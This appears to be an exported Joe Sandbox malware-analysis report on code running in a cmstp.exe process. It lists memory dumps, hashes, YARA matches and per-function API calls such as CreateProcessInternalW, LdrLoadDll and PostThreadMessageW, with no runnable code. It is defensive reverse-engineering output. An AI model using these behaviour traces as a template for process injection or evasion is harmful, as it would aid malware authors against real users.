Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction ID: bb22edd625d441e86b4201bf2007cb1784deb073e32f09f3a807e6c8f80ed535
Opcode Fuzzy Hash: 34a2345e9ef716244e2d46a9efe759ea4b84b9c33e8f95bda4e579fccc15316f
Instruction Fuzzy Hash: ACB01272104544C7F3099714ED06B8B7210FB80F00F00893AA007828A1DB39992CE456

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFAD0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFADB

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction ID: b885d126f35a04098635745a666b93c7a8e67e4acbf17db3f6051f78ecae7b76
Opcode Fuzzy Hash: a3c9a84db5a1b27ba292bbe6ac7156695ca75f7b31983341e9d88d14b699633e
Instruction Fuzzy Hash: 9AB01273104944C7E349A714DD06B8B7210FBC0F01F00893AA00786851DB389A2CE986

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFAB8 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFAC3

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction ID: c22cab920426f99211259bec297b66dc94c7f77789dfa39603ac798b5fdced38
Opcode Fuzzy Hash: 8f0c591c5e21216b00dee0cfdb8398dd80d2c6f9bc4c445cb98f30dfaa3fa1de
Instruction Fuzzy Hash: 66B01272100544C7E349B714D906B8B7210FF80F00F00893AA00782861DB389A2CE996

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFDC0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFDCB

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction ID: d88988b585cc81dca5f800d6bb39f1198a76ae257c125849f4a62a02810904f6
Opcode Fuzzy Hash: 3c5c70486422d4cf76ce1f9e49ddc8b8cfc879bf3efb7896afe645da2070dab7
Instruction Fuzzy Hash: 20B01272140540C7E30A9714DA56B4B7220FB80F40F008D3AA04781891DBB89B2CD486

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFD8C Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFD9A

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction ID: c46011bb0c46dfed5c8ab186c0f719e5b9e72ad0d6ef7da6a0d9d2ed8661a3c9
Opcode Fuzzy Hash: bc46901120b7194c8a84a042a6f6d6e6859f3849350b0ab548ee1941b68cff92
Instruction Fuzzy Hash: 8FB0927110054087E205A704D905B4AB212FB90B00F808A35A4468A591D66A9A28C686

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFC60 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFC6B

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction ID: 69502d12976c3e383ebc8ea250e6427301c1fd9f045747c541fd94b810363c34
Opcode Fuzzy Hash: b6c387d48eb785842166a0bd4fb6c7cae32a88c5d36fa47243e2a3f83643301c
Instruction Fuzzy Hash: 3AB01277105940C7E349A714DD0AB5B7220FBC0F01F00893AE00781890DA38993CC54A

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFFB4 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFFBF

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction ID: 7e2af0442ae64c9f6bb8df8c94f4cb17495a0f0e8e42cafe04a2b86fa0e4786e
Opcode Fuzzy Hash: 4dddc10ebfa889a6a675612f7993cc76823eb4169e77ac0f74568cd9575660f9
Instruction Fuzzy Hash: A2B012B2104580C7E3099714D906F4B7210FB90F00F40893EA00F81851DB3CD92CD44A

Uniqueness

Uniqueness Score: -1.00%

Function 01EBFED0 Relevance: 1.5, APIs: 1, Instructions: 6libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 01EBFEDB

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction ID: 9b30904a3bfeb6814e26683714e5c097bc05a41d35c26203adaeaac906fc0f52
Opcode Fuzzy Hash: 3f3d7aa38811b8d75e7f035be4e9a31914adf6f2f9842a42369159ae9521bbbf
Instruction Fuzzy Hash: C9B01272100580C7E34EA714D906B4B7210FB80F00F408A3AA00781891DB789B2CD98A

Uniqueness

Uniqueness Score: -1.00%

Function 000A9037 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000A90E8

Strings

wininet.dll, xrefs: 000A909E, 000A90A7
net.dll, xrefs: 000A90B1, 000A910F, 000A911B

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 89d20f141097f912962c12f6c67f8e4e13333a788c201945565a7f0af1276ce3
Instruction ID: 5a19540ad1347d85e0205fc19009737b9f09d8c76c480406e1d6047dbd75f9ff
Opcode Fuzzy Hash: 89d20f141097f912962c12f6c67f8e4e13333a788c201945565a7f0af1276ce3
Instruction Fuzzy Hash: 4931B4B2600205AFCB24DFA8D885FABB7F8FB89700F108169EA1D5B246D771A550CB95

Uniqueness

Uniqueness Score: -1.00%

Function 000A9040 Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 90
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNELBASE(000007D0), ref: 000A90E8

Strings

wininet.dll, xrefs: 000A909E, 000A90A7
net.dll, xrefs: 000A90B1, 000A9137, 000A910F, 000A911B, 000A9143

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: Sleep
String ID: net.dll$wininet.dll
API String ID: 3472027048-1269752229
Opcode ID: 1a71e6dc4dff4f472559d6feda0db4d663c70a74246b6585649c3cc6ab04cd34
Instruction ID: e547275dea6c71c025aca6996a32ac14f5f7b4fb6bd0223c8fc1a748b1492dca
Opcode Fuzzy Hash: 1a71e6dc4dff4f472559d6feda0db4d663c70a74246b6585649c3cc6ab04cd34
Instruction Fuzzy Hash: 313181B6600745BBC724DFA4C885FA7B7F8BB89B01F10841DF62A5B246DB70A550CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000AA5F0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(&E,?,000A4C9F,000A4C9F,?,000A4526,?,?,?,?,?,00000000,00000000,?), ref: 000AA61D

Strings

&E, xrefs: 000AA612, 000AA61C

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID: &E
API String ID: 1279760036-2925179166
Opcode ID: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction ID: 4ac05c39e2d3972d2d70cc473dc600fabf2bfdd42aefaf4d98bcbb78c6f2878c
Opcode Fuzzy Hash: ecb7fbf7fbf697e7ed6b19bb654fc0845e00bd12648aab82589a03cf581b1705
Instruction Fuzzy Hash: 20E012B2200208ABDB18EF99DC41EE777ACAF88654F118558BA085B282C630F914CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 000AA630 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlFreeHeap.NTDLL(00000060,00000000,.z`,007A002E,00000000,00000060,00000000,00000000,?,?,00700069,?,00093AF8), ref: 000AA65D

Strings

.z`, xrefs: 000AA64C, 000AA658

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID: .z`
API String ID: 3298025750-1441809116
Opcode ID: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction ID: 5e5836bea2ede1412439be4b8e1d8a618688e6f4e511855f0301eaa5aec8da97
Opcode Fuzzy Hash: 540c4433df045b48126259b9153db85e530e9dd1f040c1eb84158749b6bc4ef9
Instruction Fuzzy Hash: 40E01AB12002046BD718DF99DC45EE777ACAF88750F014554B90857242D630E914CAB0

Uniqueness

Uniqueness Score: -1.00%

Function 00098308 Relevance: 3.1, APIs: 2, Instructions: 57
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0009836A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0009838B

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: 25d073b2bc6f21cadc9bcad80a3e92cefb8248710b66ae470d3de3b195a8fe42
Instruction ID: b1415845bb2c15092ea0df81228b55cb16e75bf82f839d937fcd01a33f143d54
Opcode Fuzzy Hash: 25d073b2bc6f21cadc9bcad80a3e92cefb8248710b66ae470d3de3b195a8fe42
Instruction Fuzzy Hash: 45018871A8031877EB20A6949C43FFE776C6F41B50F054114FF04BA2C2E7E46A0547E6

Uniqueness

Uniqueness Score: -1.00%

Function 00098310 Relevance: 3.1, APIs: 2, Instructions: 55
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0009836A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0009838B

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: f2c01e1818d052739ee633fa7746fb4f3ba52e36b8bad28e88873d1147d52be0
Instruction ID: ced5e8d80e33feea0380355814cacd8b7b87fbc68f25bb1e9ce4e5a58f50b5ff
Opcode Fuzzy Hash: f2c01e1818d052739ee633fa7746fb4f3ba52e36b8bad28e88873d1147d52be0
Instruction Fuzzy Hash: 1F01A771A8022877EB20A6949C03FFE776C6B41F50F054114FF04BA1C2E6D46A0547F6

Uniqueness

Uniqueness Score: -1.00%

Function 000982D6 Relevance: 3.0, APIs: 2, Instructions: 41
threadwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostThreadMessageW.USER32(0065002E,00000111,00000000,00000000,00000000), ref: 0009836A
PostThreadMessageW.USER32(0065002E,00008003,00000000,?,00000000), ref: 0009838B

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: MessagePostThread
String ID:
API String ID: 1836367815-0
Opcode ID: eae49a7148fe1e165b79ccdbb62363430c888ffdd4d21c8bb6139d46b6fe1dc1
Instruction ID: 5c7e013320298cd257ce70b840aa71ee39944a5494ea674db24a0f8256618ef2
Opcode Fuzzy Hash: eae49a7148fe1e165b79ccdbb62363430c888ffdd4d21c8bb6139d46b6fe1dc1
Instruction Fuzzy Hash: 5BF0277164011875DE2166B47C43FFE37489B83B45F0440A6FA49952C3EE864506A7F2

Uniqueness

Uniqueness Score: -1.00%

Function 0009ACE0 Relevance: 1.5, APIs: 1, Instructions: 48libraryloaderCOMMON

Download Yara Rule

APIs

LdrLoadDll.NTDLL(00000000,00000000,00000003,?), ref: 0009AD52

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction ID: e759d1ebc43adca8ab2bcd6ee8611188b1765da8f0512a70fb161b4bd04106d2
Opcode Fuzzy Hash: 343ab67df369899ddd45e960eb1e1cf1cc0407856a101373337c9296a528243f
Instruction Fuzzy Hash: 0A015EB5E0020DABDF10DAE0DC42FDDB3B89B15308F004195E90997642F630EB04CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000AA6A0 Relevance: 1.5, APIs: 1, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 000AA6F4

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction ID: 4736f0b901c09da98cead05548fa36866934e4090c25d5a030b79a285019f6d6
Opcode Fuzzy Hash: 91c10d5b09b6f5ff7ee6d1e22534128eefdcfa4a5b7191d55d386dbf4554461c
Instruction Fuzzy Hash: 4601AFB2210108AFCB58DF89DC80EEB77ADAF8C754F158258BA0D97241D630E851CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 000AA69D Relevance: 1.5, APIs: 1, Instructions: 41processCOMMON

Download Yara Rule

APIs

CreateProcessInternalW.KERNEL32(?,00000000,?,?,00000000,00000000,?,?,?,00000000,00000000,?,?,00000000,?,00000000), ref: 000AA6F4

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: CreateInternalProcess
String ID:
API String ID: 2186235152-0
Opcode ID: 3f602a1de7397e4b39fd9def6ee00587ac66b6f39343a89adf6c669d95ccb561
Instruction ID: b807298679bdef8f3f2b1faf78010be4e52b1c752b70c0e6fc9f444fd8fa1880
Opcode Fuzzy Hash: 3f602a1de7397e4b39fd9def6ee00587ac66b6f39343a89adf6c669d95ccb561
Instruction Fuzzy Hash: BD01AFB2210108AFCB58DF89DC80EEB77A9AF8C354F158258FA0D97241C630E851CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 000A9170 Relevance: 1.5, APIs: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0009F040,?,?,00000000), ref: 000A91AC

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: ee06839627b3fc3384d27bf63a2734d2a2dac8c628ec9485e691761f4e1bbd4e
Instruction ID: 4b357aa5662d51e8b08a3a73ebfad1f1252f5175dbb216f847bc9a74b59d2f46
Opcode Fuzzy Hash: ee06839627b3fc3384d27bf63a2734d2a2dac8c628ec9485e691761f4e1bbd4e
Instruction Fuzzy Hash: 19E06D373902043AE22065D9AC02FE7B39C9B92B20F140026FA0DEB2C2D595F80142A4

Uniqueness

Uniqueness Score: -1.00%

Function 000A9164 Relevance: 1.5, APIs: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000,?,?,0009F040,?,?,00000000), ref: 000A91AC

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 8fe1a86a96aa36e029cb02f030156ca52b199ed427dbc6eb8e437db604b5800c
Instruction ID: 33b4d906a3e759faa1b71359f9623ad3d30265a0792490207d82a24e081923a0
Opcode Fuzzy Hash: 8fe1a86a96aa36e029cb02f030156ca52b199ed427dbc6eb8e437db604b5800c
Instruction Fuzzy Hash: 85F0223639170036D231A5A88C03FA736998B92B10F180069FE09BB2C2D596F80286A4

Uniqueness

Uniqueness Score: -1.00%

Function 000AA790 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

LookupPrivilegeValueW.ADVAPI32(00000000,?,0009F1C2,0009F1C2,?,00000000,?,?), ref: 000AA7C0

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: LookupPrivilegeValue
String ID:
API String ID: 3899507212-0
Opcode ID: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction ID: bd311862f062f3c19c5c75eb2969059cfca6b4831b906fc7121fa62b9488e6e0
Opcode Fuzzy Hash: c524c4dcdeb286be68a002add1a356f71d86b8c938967e6280f3f61150ebef6a
Instruction Fuzzy Hash: 75E01AB12002086BDB14DF89DC85EE737ADAF89650F018164BA0857242DA30E8148BF5

Uniqueness

Uniqueness Score: -1.00%

Function 0009F6C0 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,00098D14,?), ref: 0009F6EB

Memory Dump Source

Source File: 00000009.00000002.879241310.0000000000090000.00000040.80000000.00040000.00000000.sdmp, Offset: 00090000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_90000_cmstp.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: a2d4a72b799ecba535e6209a82b178d001bd83fc2549ccaf7422d872a4b8c7e9
Instruction ID: 9c0c29b9252940e65a6d529bfd1b0fa08b361b13211a4bcd829452c380ab0fde
Opcode Fuzzy Hash: a2d4a72b799ecba535e6209a82b178d001bd83fc2549ccaf7422d872a4b8c7e9
Instruction Fuzzy Hash: 6DD0A7767503043BEA10FAE49C03F6633CC6B45B00F490074F948D73C3D954F4004165

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 01EE8788 Relevance: 19.7, APIs: 6, Strings: 5, Instructions: 431COMMON

Download Yara Rule

APIs

_wcspbrk.LIBCMT ref: 01EE8891
_wcspbrk.LIBCMT ref: 01EE8979
_wcspbrk.LIBCMT ref: 01EE8A61
_wcspbrk.LIBCMT ref: 01EE8A9B
_wcspbrk.LIBCMT ref: 01F31B9C

Strings

Kernel-MUI-Language-Allowed, xrefs: 01EE8827
WindowsExcludedProcs, xrefs: 01EE87C1
Kernel-MUI-Language-Disallowed, xrefs: 01EE8914
Kernel-MUI-Language-SKU, xrefs: 01EE89FC
Kernel-MUI-Number-Allowed, xrefs: 01EE87E6

Memory Dump Source

Source File: 00000009.00000002.879405399.0000000001EB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 01EA0000, based on PE: true

Associated: 00000009.00000002.879405399.0000000001EA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001F90000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA4000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FA7000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000001FB0000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.879405399.0000000002010000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_1ea0000_cmstp.jbxd

Similarity

API ID: _wcspbrk
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 402402107-258546922
Opcode ID: f9df061cff09e6457bff6635363db199dab5fd49739ef507b24befd364c60947
